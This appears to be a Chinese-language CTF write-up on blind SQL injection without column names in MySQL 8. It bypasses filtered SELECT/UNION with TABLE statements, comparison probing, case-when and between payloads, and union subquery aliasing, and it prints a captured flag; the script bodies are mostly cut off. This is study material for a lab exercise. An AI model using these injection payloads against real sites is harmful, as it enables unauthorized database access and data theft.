sql-无列名盲注
无列名盲注
比较法
1.fuzz过滤内容
fuzz一下 发现select 和union都被过滤了,回顾一下select被过滤有什么能替代的
在堆叠注入中可以使用handler,使用预处理拼接绕过,还有mysql的8.0+新版本中的table
table 表名; |
判断注入类型
页面有两种不同的回显方式:
确定使用布尔盲注
编写盲注脚本
#payload="database()"#ctf |
确定版本8.0+使用table进行注入
table information_schema.tables |
但是想要获得ctf的那个表的相关列数据,我们还需要自己去注
难点:由于table 没有where 也没有group_concat,所以我们无法按照常规方法得到ctf的那个库有什么表,此时就需要使用无列名盲注。先通过无列名盲注注出ctf下的表,在通过无列名盲注注出ctf下的字段数据
表位置探测
利用比较法:
首先我们需要找出哪一行是我们需要的,本地测试发现,information_schema.tables有21个列,并且第一个字段值为def 第二个为数据库,由于我们已经知道数据库名字了,所以可以这样判断,不断更改limit的值,判断结果是否为1
并且可以利用这个转折点进行判断是否为我们需要的库
写一个探测的脚本
本来是想按照上面那个思路写的脚本,但是发现没有探测出来,于是换了一种思路,直接从第一位开始,因为我已经知道数据库的名字是ctf,所以按照 order by table_schema的排序 那么这个表就会在比较前面的位置
def search_co(): |
爆破表脚本:
这个确实花了我好多时间,主要原因还是在于语句的书写上 有个细节,就是我们的表后面那个字段也是需要空出来的,不然就会造成改字段没比完的情况,还有另一个细节是一些特殊字符是不能去进行比较的,不然的话就直接出错了。。。
def sql_injection_s(): |
爆破flag
table 表名 limit 1,1; |
之前为什么需要知道列名?因为列多,如果我们直接用substr截取的话会报错
那么意味着,如果只有一列 那么substr截取就可以不用列名也可以选取了:
所这里写脚本就很容易了直接用爆破库名的脚本来就行
table f11114g limit 0,1 |
需要注意的是 第一行没有flag,第二行才是
def sql_injection(pay_lo):#库名和版本 |
flag{8848f380-dce6-4184-a3d8-430e72c4eca0} |
完整脚本:
import requests |
union联合
fuzz过滤内容
看了一下过滤了最重要的info库,就意味着大概率是无列名盲注了,然后过滤了一些比较符号,还有likerlike等正则匹配函数,那么本题似乎只能用case when了的感觉
接下
判断注入类型
布尔盲注,回显分为
测试语句::root'and/**/case/**/1/**/when/**/1/**/then/**/1/**/else/**/0/**/end# |
编写盲注脚本:
构造注入语句
这题的截取函数基本都过滤了,所以这里使用
接下来就是跑表名,由于in库被过滤了,这里试了一下 发现
select group_concat(table_name) from sys.schema_table_statistics; |
是可以的
就可以跑出表名了
接下来使用union无列名盲注
select a.1 from (select 1,2 union select * from `SeCrrreT`)a limit 1,2 |
得到表名以后 直接select * from SeCrrreT跑不出来,所以可以猜想肯定不止一行,所以后面要加limit 然后用无列名盲注,去尝试字段数
import requests |
我用的是case when进行盲注,看了一下师傅的 ,他使用的是between来替代没有了的比较函数
"username" : f"root' and (ascii(reverse(left(({select}),{i}))) between {ascii} and {ascii+1})#".replace(" ", "/**/"), |
这是他的语句,收藏起来了~